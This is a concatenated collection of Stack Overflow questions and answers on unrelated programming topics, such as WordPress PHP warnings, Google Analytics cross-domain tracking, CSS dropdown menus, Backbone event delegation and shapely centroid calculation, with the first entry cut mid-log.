array_keys() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.683 PHP Warning: asort() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2231 W 2013-09-28 12:05:03.683 PHP Warning: Invalid argument supplied for foreach() in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2232 W 2013-09-28 12:05:03.683 PHP Notice: Undefined variable: icon in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4398 W 2013-09-28 12:05:03.745 PHP Notice: Undefined variable: types in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.745 PHP Warning: array_keys() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.745 PHP Warning: asort() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2231 W 2013-09-28 12:05:03.745 PHP Warning: Invalid argument supplied for foreach() in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2232 W 2013-09-28 12:05:03.745 PHP Notice: Undefined variable: icon in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4398 W 2013-09-28 12:05:03.751 PHP Notice: Undefined variable: types in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.751 PHP Warning: array_keys() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.751 PHP Warning: asort() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2231 W 2013-09-28 12:05:03.751 PHP Warning: Invalid argument supplied for foreach() in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2232 W 2013-09-28 12:05:03.751 PHP Notice: Undefined variable: icon in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4398 W 2013-09-28 12:05:03.755 PHP Notice: Undefined variable: types in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.755 PHP Warning: array_keys() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.756 PHP Warning: asort() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2231 W 2013-09-28 12:05:03.756 PHP Warning: Invalid argument supplied for foreach() in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2232 W 2013-09-28 12:05:03.756 PHP Notice: Undefined variable: icon in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4398 </code></pre> <p>What am I missing here? Thanks for any help.</p>
5240632	0	 <p>Use the delegated administration on IIS.</p>
24633053	0	I have a program that saves to a sharepoint directory but has intermittent errors <p>I have a program that saves to a SharePoint network directory (folder) but has intermittent errors</p> <p>E.g.:</p> <p>\sandbox2010\sites\mySite\myDirectory</p> <p>However, with no code change whatsoever, this will work/fail depending on whether the relevant network SharePoint directory (folder) is "awake" on the relevant server.</p> <p>Does anyone know a way to automate "awakening" of this network folder on the relevant server so the intermittent error goes away?</p> <p>Thanks!</p>
15326074	0	Need help in choosing Collection type <p>I need to return a file ID (<code>Integer</code>) and success or fail (<code>boolean</code>) values from a method. I have 3 options in my mind.</p> <p>One is to convert the both the values String and make the return type as <code>ArrayList</code>.</p> <p>The second option is to use the <code>HashMap</code>. Since those both values doesn't have any dependency I am not sure whether I can use this type or not.</p> <p>Third one is to convert both into String objects and return a comma separated string.</p> <p>Please suggest me which one is the better solution for me.</p>
32305382	0	 <p>I had the same problem while handle a lot of data , it works with 5 because it renders the five elements that are visible on the screen but that gives prob with more elements. The thing is ..</p> <p>Sometimes RecyclerView and listView just skips Populating Data. In case of RecyclerView binding function is skipped while scrolling but when you try and debug the recyclerView adapter it will work fine as it will call onBind every time , you can also see the official google developer's view <a href="http://www.youtube.com/watch?v=wDBM6wVEO70" rel="nofollow">The World of listView</a>. Around 20 min -30 min they will explain that you can never assume the getView by position will be called every time. </p> <p>so, I will suggest to use</p> <p><a href="https://github.com/satorufujiwara/recyclerview-binder" rel="nofollow">RecyclerView DataBinder created by satorufujiwara.</a> </p> <p>or</p> <p><a href="https://github.com/yqritc/RecyclerView-MultipleViewTypesAdapter" rel="nofollow">RecyclerView MultipleViewTypes Binder created by yqritc.</a></p> <p>These are other Binders available if you find those easy to work around .</p> <p>This is the way to deal with MultipleView Types or if you are using large amount of data . These binders can help you just read the documentation carefully that will fix it, peace!!</p>
2795213	0	 <p>Here is a way to extend transactional functionality to your typed dataset. You could alter this to include your special SQLCommand wrappers.</p> <p>In this example, I have a dataset called "dsMain" and a few direct queries in a "QueriesTableAdapter". I extend the partial class for the TableAdapter with a function that will create a transaction based on the first (0) connection and then apply it to every connection in the table adapter.</p> <pre><code>Namespace dsMainTableAdapters Partial Public Class QueriesTableAdapter Public Function CreateTransaction() As Data.IDbTransaction Dim oConnection = Me.CommandCollection(0).Connection oConnection.Open() Dim oTrans = oConnection.BeginTransaction() For Each cmd In Me.CommandCollection cmd.Connection = oConnection cmd.Transaction = oTrans Next Return oTrans End Function End Class End Namespace </code></pre> <p>You begin the transaction by calling the new function</p> <pre><code>Dim qa As New dsMainTableAdapters.QueriesTableAdapter Dim oTrans = qa.CreateTransaction() </code></pre> <p>Then you can call TableAdapter queries within your transaction</p> <pre><code>qa.Query1 qa.Query2 </code></pre> <p>When you are done with your queries you commit the transaction</p> <pre><code>oTrans.Commit() </code></pre> <p>You can do the same thing for any TableAdapter that was created for your datasets. If you have multiple TableAdapters that need to use the same transaction, then in addition to a "CreateTransaction" you should make a "SetTransaction" and have the Transaction be a parameter.</p>
28760610	0	By using protege can we store & retrieve data's like we doing it on relational database? <p>Hi I very new to semantic web and <code>Protege</code>.</p> <p>Can we store and retrieve data in <code>Protege</code> like we do in relational database? Or can we manipulate only models? if yes, do we need RDBMS for storing data and use <code>Protege</code> to manage the relationship?.</p> <p>Can we use protege as replacement for Mysql Database to store and retrieve information? </p> <p>OR I am completely wrong about what is protege?</p>
3955200	0	 <p>UUID is a 128 bit value. The <code>CHAR(16) FOR BIT DATA</code> type reflects that it is bit data stored in character form for conciseness. I don't think <code>VARCHAR(16)</code> would work because it doesn't have the bit flag. The database would have to be able to convert the binary data to character data which deals with encoding and is risky. More importantly, it wouldn't buy you anything. Since a UUID is <em>always</em> 128 bits, you don't get the space savings from using <code>VARCHAR</code> over <code>CHAR</code>. So you might as well use the intended <code>CHAR(16) FOR BIT DATA</code>.</p> <p>With JDBC, I think you use the get/setBytes() method since it is dealing with small amounts of binary data. (Not positive, would have to try this)</p> <p>And no idea about the SQL Server part.</p>
37712585	0	 <p>Assuming you want a height in pixels of 500, you can use this to get the intervals:</p> <pre><code>import math pixels = 500 offset = math.log(10) for x in range(10, 71, 10): print x, int(pixels * (math.log(x) - offset) / (math.log(70) - offset)) </code></pre> <p>This is the output:</p> <pre><code>10 0 20 178 30 282 40 356 50 413 60 460 70 500 </code></pre> <p>The pixel counts are just the differences between the start and end of each interval. Change 500 to fit your application.</p>
40873634	0	 <p>Your code creates the <code>Breakout</code> object and sets its visibility: </p> <pre><code>Breakout bo = new Breakout(); bo.setVisible(true); </code></pre> <p>However, you never invoke any other methods. For example you may want to invoke a <code>run</code> method or a <code>main</code> method. You have to call those methods somehow in order to execute the code.</p> <p>Another option would be to add a listener to the <code>Breakout</code> class so that it executes your code when the window opens, something like this: </p> <pre><code>addWindowListener(new java.awt.event.WindowAdapter() { public void windowOpened(java.awt.event.WindowEvent evt) { //call a method that runs the program here! } }); </code></pre>
11400317	0	backside-visibility not working in IE10 - works fine in webkit <p>I'm building a simple pure-css 'card flip' animation, it <em>has</em> to work in IE10, but sadly what I've written doesn't.</p> <p><a href="http://jsfiddle.net/felixthehat/7FeEz/1/">jsFiddle demo here</a> or <a href="https://www.dropbox.com/s/kbp8rh0sbh49ixe/backside%20vis%20test%20case.zip">sample html zip here</a></p> <p>I can see that backside-visibility works in IE10 from <a href="http://ie.microsoft.com/testdrive/Graphics/hands-on-css3/hands-on_3d-transforms.htm">their demo here</a> so maybe I've just overlooked something stupid, maybe a fresh pair of eyes might help!</p> <p>Thanks in advance!</p>
22859808	0	Cross and sub domain tracking with Google Analytics Universal Tag <p>This is my first question on Stackoverflow. So apologies if I make a mistake...</p> <p>The challenge: I have a website (main.com), a sub-domain (sub.main.com) and 10 websites that send traffic, back and forth, to the main site and the sub domain. Let's call these sites site01.com, site02.com, site03.com,...,site10.com.</p> <p>My question: How do I implement Universal Tag so I can do cross-domain tracking between main.com, sub.main.com and site01.com, site02.com, site03.com,...,site10.com.</p> <p>I found instructions on how to do cross domain tracking for two sites. For example, on the main domain I will add the following code:</p> <pre><code>**&lt;!-- Universal Analytics --&gt; &lt;script type="text/javascript"&gt; (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-XXXXXXXXX-X', 'main.com', {'allowLinker': true}); ga('require', 'linker'); ga('linker:autoLink', ['site01.com']); ga('send', 'pageview'); &lt;/script&gt;** </code></pre> <p>And on site01.com, I will add the code below:</p> <pre><code>**&lt;!-- Universal Analytics --&gt; &lt;script type="text/javascript"&gt; (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-XXXXXXXX-X', 'site01.com',{'allowLinker': true}); ga('send', 'pageview'); &lt;/script&gt;** </code></pre> <p>I don't know how to modify the code to include all 10 sites (site01.com, site02.com, site03.com,...,site10.com as part of the cross domain tracking.</p> <p>Also, in relation to sub-domain tracking, I am guessing that the above code will also capture data from the sub-domain site (sub.main.com) with no issues.</p> <p>Any help will be greatly appreciated.</p> <p>Stratos.</p>
32733242	0	iOS 8/9 CalendarEvent predicateForEventsWithStartDate EndDate not working correctly? <p>Is it possible that the function: <code>predicateForEventsWithStartDate(startDate: NSDate, endDate: NSDate, calendars:[EKCalendar])</code> is not working as described in the documentation!? The enddate seems to work as expected, taking into account the day and the time of the date. But when retrieving the events for the predicate, events being on the startdate X (and later than the time of the start date) are never fetched. As soon as I set the startdate to 23:59 the previous day of X, all events of day X are fetched as expected. </p> <p>Has anybody experienced this behaviour? Or is the documentation not correct and this is the expected behavoir? </p> <p>Note: Tried on Iphone 6(iOS8) / Ipad mini 3(iOS8) / iPhone 5 (iOS 9)</p> <p>EDIT: here is the documentiation of the method:</p> <pre><code>func predicateForEventsWithStartDate(_ startDate: NSDate, endDate endDate: NSDate, calendars calendars: [EKCalendar]?) -&gt; NSPredicate </code></pre> <p>Creates and returns a predicate for finding events in the event store that fall within a given date range.</p> <p><strong>startDate</strong><br> The start date of the range of events fetched.</p> <p><strong>endDate</strong> The end date of the range of events fetched.</p> <p><strong>calendars</strong><br> The calendars to search, as an array of EKCalendar objects. Passing nil indicates to search all calendars.</p>
32806003	0	 <pre><code>var happyMood = document.getElementById("happy"); var sadMood = document.getElementById("sad"); happyMood.onclick = function () { var mainHeading = document.getElementById("heading"); mainHeading.innerHTML = "You have selected "; }; sadMood.onclick = function () { var mainHeading = document.getElementById("heading"); mainHeading.innerHTML = "You have selected " + sadMood; }; </code></pre>
34981099	0	 <p>With an <a href="https://docs.python.org/3/reference/expressions.html#conditional-expressions" rel="nofollow"><code>if-else</code> conditional expression</a>:</p> <pre><code>predictedClassification = 1 if predictedClassification &gt;= 0.5 else 0 </code></pre> <p>The result equals <code>1</code> if the expression is <code>True</code> and 0 otherwise.</p> <pre><code>predictedClassification = 10 predictedClassification = 1 if predictedClassification &gt;= 0.5 else 0 print(predictedClassification) 1 </code></pre>
11378482	0	jQuery, I want an explanation. Why does this work? $($('div')) <p>I'm curious. This:</p> <pre><code>$('div'), this $($('div')), and this $($($('div')))... and so on </code></pre> <p>Seem to all work as selectors for HTML elements. Does anyone know why this works, and if there are any actual (besides redundancy), problems that arise when doing this?</p> <p><a href="http://jsfiddle.net/NpT2b/" rel="nofollow">http://jsfiddle.net/NpT2b/</a></p>
33051328	0	 <p>As @piggybox already mentioned, it is not possible directly. But you can use Python/ Java SDK to do the copy on individual tables and simulate a transaction. </p> <p>If your tables are consumer facing and you do not want the data to be visible until all the tables are loaded, you can first load the data to staging tables and use a config table for the live status. Your Python/ Java script should keep polling this config table and as soon as the status is "ready/ good-to-go" for all the tables, you can do deep copy (insert as select) from the staging tables into the actual tables. These inserts will be DML so you can control them in a single transaction.</p>
18514482	0	Resizing Background Images Using Media Queries Working for Webpage but not Email <p>I am working on creating a responsive email template for a client. I'm trying to get text to appear over an image, so I am attempting to create a responsive email that will display text over a fluid background image (I know...background images, emails, not a good combo, but I'm going for it). </p> <p>I am able to get the code to work perfectly on a webpage (see here: <a href="http://testwes.site90.com/NaerbyggEmailTemplateTestStylingv3.html" rel="nofollow">http://testwes.site90.com/NaerbyggEmailTemplateTestStylingv3.html</a> ) however, when I send a test email (via Mailchimp) it seems the media queries are not picking up to change the background image, so the main background image (the picture of the house, paint, green etc.) does not change size, though the rest of my media query requests are working fine (text adjusting, icons moving around, even my header logo img resizes (not a background image of course). You can see an example of the code after the email is sent here: (<a href="http://us7.campaign-archive1.com/?u=9be35a6a6ef5bf6014d5f59fe&amp;id=ac4b24cd76" rel="nofollow">http://us7.campaign-archive1.com/?u=9be35a6a6ef5bf6014d5f59fe&amp;id=ac4b24cd76</a>). </p> <p>I am really looking for any way to incorporate editable text over a fluid image for email, and I figured I'd give background images a shot. If anyone has any advice for resizing background images via media queries for email, please help! </p> <p>Thanks, <br> Wes</p>
3558020	0	 <p>The best way is to use a try/finally block</p> <pre><code>try { this.running = true; ... } finally { this.running = false; } </code></pre> <p>Real thread locks are only needed if this method is called from multiple threads. Given that it appears to be a paint event handler this is unlikely as controls are affinitized to a single thread.</p>
10684079	0	Outputting relevant input/output to a GUI, having received input in the console <p>I need to display some relevant information (like an introduction, yes/no questions and other questions) to a user via a gui, who then enters their response into the console. However, I cannot for the life of me think of or find a way to do this. How can I run the GUI but still allow input into the console? Here is some cut down code I have that shows what I'm trying to do. I'm doing this from a pps frame class that handles the container stuff. I just need to add buttons, text fields and later on action events.</p> <pre><code>public class gui extends XFrame { private JTextField[] textFieldsUneditable; public gui() { super(); textFieldsUneditable = new JTextField[10]; for(int i=0; i&lt;textFieldsUneditable.length; i++) { textFieldsUneditable[i] = new JTextField(42); textFieldsUneditable[i].setEditable(false); add(textFieldsUneditable[i]); } revalidate(); repaint(); } public void paintComponent(Graphics g) { super.paintComponent(g); // code code code } </code></pre> <p>But what I have is other methods, of which I want to run and then output into these uneditable JTextFields using setText in the GUI after the user has responded in the console. I hope that makes sense!</p>
11884355	0	Processor serial number <p>I need PSN of CPU. I write code like</p> <pre><code>int info[4] = { -1 }; __cpuid(info, 1); int family = info[0] &amp; 0xf00; int features = info[3] &amp; 0xf000; std::stringstream psn_id; </code></pre> <p>How i get Processor serial number? Can anyone please help me. Thank you.</p>
9524971	0	 <p>Disclaimer: I am still pretty new to puppet :)</p> <p>The key is to think of everything in terms of dependencies. For class dependencies, I like to use the Class['a'] -> Class['b'] syntax. Say you have a tomcat class that requires a jdk class which downloads/installs the sun jdk from oracle. In your tomcat class, you can specify this with</p> <p>Class['jdk'] -> Class['tomcat']</p> <p>Alternatively you can declare a class with a require meta parameter rather than using include.</p>
21388154	0	 <p>Merge plays and pauses as a property and filter the interval stream with it.</p> <pre><code>var pauses = $('.pause').asEventStream('click').map(false); var plays = $('.plays').asEventStream('click').map(true); var isTicking = pauses.merge(plays).toProperty(true); var ticks = Bacon.interval(500).filter(isTicking); </code></pre>
35363221	0	 <p>In your comments you stated that the <code>.jar</code> files are unzipping and not running on your friends' computers.</p> <p>This is usually caused by Java not being installed on their computers. They should get the <a href="http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html" rel="nofollow">Java SE Runtime Environment from Oracle</a> and install it. Afterwards, the jar files can be run with a double-click.</p> <p>If your friends already have Java installed, they might have to fix their file associations (so <code>.jar</code> files no longer open with their ZIP tool).</p>
17088541	0	 <p>A solution could be to explore the boundingbox from the text objects and generate a box yourself. Its not very convenient. Perhaps my example can be improved, transformations always confuse me a bit.</p> <pre><code>import matplotlib.patches as patches import matplotlib.pyplot as plt fig, axs = plt.subplots(1,1) t1 = axs.text(0.4,0.6, 'Hello world line 1', ha='center', color='red', weight='bold', transform=axs.transAxes) t2 = axs.text(0.5,0.5, 'Hello world line 2', ha='center', color='green', weight='bold', transform=axs.transAxes) t3 = axs.text(0.6,0.4, 'Hello world line 3', ha='center', color='blue', weight='bold', transform=axs.transAxes) fig.canvas.draw() textobjs = [t1,t2,t3] xmin = min([t.get_window_extent().xmin for t in textobjs]) xmax = max([t.get_window_extent().xmax for t in textobjs]) ymin = min([t.get_window_extent().ymin for t in textobjs]) ymax = max([t.get_window_extent().ymax for t in textobjs]) xmin, ymin = fig.transFigure.inverted().transform((xmin, ymin)) xmax, ymax = fig.transFigure.inverted().transform((xmax, ymax)) rect = patches.Rectangle((xmin,ymin),xmax-xmin,ymax-ymin, facecolor='grey', alpha=0.2, transform=fig.transFigure) axs.add_patch(rect) </code></pre> <p>You might want to add a small buffer etc, but the idea would stay the same.</p> <p><img src="https://i.stack.imgur.com/QHOWe.png" alt="enter image description here"></p>
26710169	0	 <p>You probably don't have the access token at the time the request to 'me/feed' is sent. </p> <p>getLoginStatus does not only check if the user is authorized, it also refreshes the user session. that´s why it is important to do api calls after it is "connected". </p> <p>Try putting the call to FB.api inside getLoginStatus.</p> <p>This question is similar to the problem you're having:<a href="http://stackoverflow.com/questions/15812050/facebook-javascript-sdk-an-active-access-token-must-be-used-to-query-information?rq=1">Facebook javascript sdk An active access token must be used to query information about the current user</a></p>
40023293	0	 <p>Change your formula for the following:</p> <pre><code>=INDIRECT(CONCATENATE("FAB!U",(1638+((ROW()-1)*43)))) </code></pre> <p>You will need to play with this to get the outcome you desire. Imagine the above was put into cell A1, 1638 is the first row in your question, add on 43 times the row you are on minus one. So first row is 1, minus 1 is 0, 0*43 is 0, so you are still left with 1638.</p> <p>Move to the second row and it is 1638, add your row 2, minus 1 gives you 1, 1 * 43 is 43, so you have 1638+43=1681.</p> <p>Concatenate just joins <code>FAB!U</code> with the outcome of that formula.</p> <p>Indirect makes it a cell reference.</p> <p>Try to understand and have a play before just putting sticking it in.</p>
8868402	0	 <p>Twitter itself is running on Rails, and it has a <a href="https://dev.twitter.com/docs/api" rel="nofollow">REST API</a>. You could easily write your own solution with <a href="http://api.rubyonrails.org/classes/ActiveResource/Base.html" rel="nofollow">ActiveResource</a></p> <p>You can get started with the <a href="http://railscasts.com/?tag_id=19" rel="nofollow">ActiveResource videos on Railscasts</a></p>
40696858	0	CSS: select last element at specified depth (two-level menubar) <p>I have a multi level menu: menu line + some items may have a drop list. Items in menu line are separated by '|' and obviously the last item should not have it's border</p> <p>The problem is that <code>last-child</code> here captures the very last item in the last dropdown list and I need to capture menu line item (item3).</p> <p><a href="https://i.stack.imgur.com/lzRJz.png" rel="nofollow noreferrer">result</a></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>/* MENU */ div.menu { display: inline; } div.menu a { padding-left: 0.5em; padding-right: 0.5em; border-right: 1px solid lightgrey; font-size: 12pt; } div.menu a:last-child { border-right: 0px; } /*DROP DOWN*/ .dropdown { position: relative; display: inline; } .dropdown_content { display: none; z-index: 1; position: absolute; top: 1em; right: 0; background-color: #f9f9f9; white-space: nowrap; border-bottom: 1px solid lightgrey; } .dropdown_content a { padding: 0.2em; text-decoration: none; display: block; } .dropdown:hover .dropdown_content { display: block; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="menu"&gt; &lt;a href=""&gt;Item1&lt;/a&gt; &lt;a href=""&gt;Item2&lt;/a&gt; &lt;div class="dropdown"&gt; &lt;a class="dropbtn"&gt;Item3&lt;/a&gt; &lt;div class="dropdown_content"&gt; &lt;a href=""&gt;Subitem1&lt;/a&gt; &lt;a href=""&gt;Subitem2&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>I need pure CSS solution, please no JS<br> It should work on IE11<br> I suspect that maybe the menu html structure is not ideal too ... so maybe some different structure would automatically solve the issue. </p> <p>Thank in advance ! :)</p>
36841116	0	 <p>Not really a solution but I ended up rebuilding my local dev server from scratch. The glob() function started working after that. So, something must have happened to mess things up.</p>
6769705	0	 <p>Use <a href="http://jquery.com/" rel="nofollow">jQuery</a> and its hover and css methods</p> <pre><code>$('#quickstart').hover( function(){$('#visiblepanel').css('visibility','visible')}, function(){$('#visiblepanel').css('visibility','hidden')} ); </code></pre>
11041953	1	Many-to-one relationships ComboBox filtering <p>Experts!</p> <p>Having the following models.py </p> <pre><code>class Country(models.Model): name = models.CharField(max_length=50) def __unicode__(self): return self.name class Meta: verbose_name = 'Countries Uploaded' class Users(models.Model): name = models.CharField(max_length=50) cUsers = models.ForeignKey(Country) def __unicode__(self): return self.name class Meta: verbose_name = 'Users on a country' class GoalsinCountry(models.Model): Country = models.ForeignKey(VideoTopic) name = models.CharField(max_length=50) descr = models.TextField(blank=True, null=True) def __unicode__(self): return self.name class Meta: verbose_name = 'Goals Topic' </code></pre> <p>i would like to filter out the users that belongs to a particular country and not all see all users when choosing a country on the combobox, and be able to save this information to a sqlite3 db.</p> <p>if i add the following code below Country = Models.. gUser = models.ForeignKey(Users)</p> <p>Using the Django admin interface, will show all users, not filtering users based on the country they are.. Would this be possible to do with Django + Something else? is there any working example/Tutorial - like the northwind MS Tutorial?</p> <p>Thank you</p>
14997937	0	 <pre><code>Include and require are identical, except upon failure: require will produce a fatal error (E_COMPILE_ERROR) and stop the script include will only produce a warning (E_WARNING) and the script will continue </code></pre> <p>You can understand with examle include("test.php"); echo "\nThis line will be print";</p> <p>Output :Warning: include(test.php): failed to open stream: No such file or directory in /var/www/........ This line will be print</p> <p>require("test.php"); echo "\nThis line will be print"; Warning: require(test.php): failed to open stream: No such file or directory in /var/www/....</p>
40864785	0	Calculate centroid of a set of coordinates on a PySpark dataframe <p>I have a dataframe similar to </p> <pre><code>+----+-----+-------+------+------+------+ | cod| name|sum_vol| date| lat| lon| +----+-----+-------+------+------+------+ |aggc|23124| 37|201610|-15.42|-32.11| |aggc|23124| 19|201611|-15.42|-32.11| | abc| 231| 22|201610|-26.42|-43.11| | abc| 231| 22|201611|-26.42|-43.11| | ttx| 231| 10|201610|-22.42|-46.11| | ttx| 231| 10|201611|-22.42|-46.11| | tty| 231| 25|201610|-25.42|-42.11| | tty| 231| 45|201611|-25.42|-42.11| |xptx| 124| 62|201611|-26.43|-43.21| |xptx| 124| 260|201610|-26.43|-43.21| |xptx|23124| 50|201610|-26.43|-43.21| |xptx|23124| 50|201611|-26.43|-43.21| +----+-----+-------+------+------+------+ </code></pre> <p>Where for each name I have a few different lat lon on the same dataframe. I would like to use the <code>shapely</code> function to calculate the centroid for each user:</p> <pre><code>Point(lat, lon).centroid() </code></pre> <p>This UDF would be able to calculate it:</p> <pre><code>from shapely.geometry import MultiPoint def f(x): return list(MultiPoint(tuple(x.values)).centroid.coords[0]) get_centroid = udf(lambda x: f(x), DoubleType()) </code></pre> <p>But how can I apply it to a list of coordinates of each user? It seems that a <a href="http://stackoverflow.com/questions/33502263/is-spark-sql-udaf-user-defined-aggregate-function-available-in-the-python-api">UDAF</a> on a group by is not a viable solution in this case.</p>
19938877	0	 <p>I successfully round-trip a vanilla <code>http</code> call during a background task's callback, in production code. The <a href="https://developer.apple.com/library/ios/documentation/Foundation/Reference/NSURLSessionTaskDelegate_protocol/Reference/Reference.html#//apple_ref/occ/intfm/NSURLSessionTaskDelegate/URLSession%3atask%3adidCompleteWithError%3a" rel="nofollow">callback</a> is:</p> <pre><code>-[id&lt;NSURLSessionTaskDelegate&gt; URLSession:task:didCompleteWithError:] </code></pre> <p>You get about 30 seconds there to do what you need to do. <em>Any</em> async calls made during that time must be bracketed by </p> <pre><code>-[UIApplication beginBackgroundTaskWithName:expirationHandler:] </code></pre> <p>and the "end task" version of <a href="https://developer.apple.com/library/ios/DOCUMENTATION/UIKit/Reference/UIApplication_Class/Reference/Reference.html#//apple_ref/occ/instm/UIApplication/beginBackgroundTaskWithName%3aexpirationHandler%3a" rel="nofollow">that</a>. Otherwise, iOS will kill your process when you pop the stack (while you are waiting for your async process). </p> <p>BTW, don't confuse <code>UIApplication</code> tasks (I call them "app tasks") and <code>NSURLSession</code> tasks ("session tasks").</p>
11876533	0	 <p>Some events can't be delegated using this method. 'focus' and 'blur' don't work, and in IE8 and lower 'change', 'submit' and 'reset' don't work either. It's actually in the <a href="http://backbonejs.org/docs/backbone.html#section-156" rel="nofollow">annotated source of Backbone</a> but for some reason not in <a href="http://backbonejs.org/#View-delegateEvents" rel="nofollow">the documentation</a>.</p> <p>JQuery's documentation actually states that the method that Backbone uses (<a href="http://api.jquery.com/delegate/" rel="nofollow">$.delegate</a>) is now superseded by <a href="http://api.jquery.com/on/" rel="nofollow">$.on</a> which is able to handle those kinds of events.</p> <p>So your options are:</p> <ul> <li>overload Backbone.View.delegateEvents to use $.on instead of $.delegate</li> <li>manually bind the events as shown by EndangeredMassa.</li> </ul>
31358033	0	 <p>you can read <a href="http://developer.android.com/reference/android/widget/ImageView.html" rel="nofollow">this</a>. I think you are talking about this in xml:</p> <p><code>android:background</code> -> A drawable to use as the background, it could be just a color in HEX notation or a drawable. </p> <p><code>android:src</code> -> Sets a drawable as the content of this ImageView. </p> <p>However in java you can use <code>setImageDrawable(Drawable drawable)</code> for setting a drawable as the content of this ImageView.</p>
28318371	0	 <ul> <li>If it crashes because of byte alignment it is your fault.</li> <li>boost uses <code>#pragma pack</code> for correctness</li> <li>Compiling with a different byte alignment produce a complete different assemby code, so you have to compile all libraries with the same alignment.</li> <li>If you have your boost project in visual the alignment is under <code>Properties-&gt; C/C+1-&gt; Code Generation -&gt; Struct Member Alignment</code>. If you use another tool find how options are provided to the compiler and pass <code>/Zp1</code>(or <code>-Zp1</code>).</li> </ul> <p>There will be multiple functions used by boost which would require a specific byte alignment. These function may be from the boost framework itself or from microsoft libraries. The classic case will be atomic operations (ie like <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms683614(v=vs.85).aspx" rel="nofollow">InterlockedIncrement</a> ) which requires a minimum byte alignment. </p> <p>If there is a structure</p> <pre><code>struct { char c; int a; volatile int b; } </code></pre> <p>and <code>b</code> is used as atomic operand, The structure members alignment have to be guaranteed using <code>#pragma pack</code>. So boost use explicit <code>#pragma pack</code> for <strong>correctness</strong>.</p>
23151299	0	 <p>this is the class :</p> <pre><code>&lt;?php class WebDirect_CustomPrice_Model_Sales_Quote_Item extends Mage_Sales_Model_Quote_Item { public function representProduct($product) { $parentResult = parent::representProduct($product); //if parent result is already false, we already have a different product, exit. if ($parentResult === false) { return $parentResult; } $itemProduct = $this-&gt;getProduct(); /* * do our check for 'same product' here. * Returns true if attribute is the same thus it is hte same product */ if ($product-&gt;getPrice() == $itemProduct-&gt;getPrice()) { return true; //same product } else { return false; //different product } } } </code></pre>
20405246	0	FactoryGirl creating factories objects on start <p>For some reason, when I run </p> <pre><code>rspec specs </code></pre> <p>The models defined on Factory girl are automatically created. I was expecting to create the objects with sentences like:</p> <pre><code>FactoryGirl.create(:user) </code></pre> <p>But I am having a lot of duplication problems due to this.</p> <p>Moreover, if I go to the rails console and I type:</p> <pre><code>require 'factory_girl_rails' </code></pre> <p>It inserts some records on my database.</p> <p>Is this expected behavior?</p> <p>UPDATE: The problem was on my factory (silly mistake). I was calling create method there.</p> <pre><code>FactoryGirl.define do factory :user do email "user@example2.com" first_name "Myname" last_name "MyLast name" password "DoeDoe12" api_license FactoryGirl.create(:api_license) end end </code></pre>
40726285	0	 <p>It is been a while since I fixed the issue but I thought I should write it here in case someone encounters a similar problem. </p> <p>There was not any bug, nor any memory leak in the code. The program works perfectly. The issue was that the process of creating new vectors was faster than than the one writing to the file. </p> <p>I solved it by having two separate threads to speed up the process. The first thread would create vectors and store them in a buffer. The second thread would take a vector from that buffer and write it.</p>
31160113	0	 <p>add to payload</p> <pre><code>grant_type=authorization_code </code></pre>
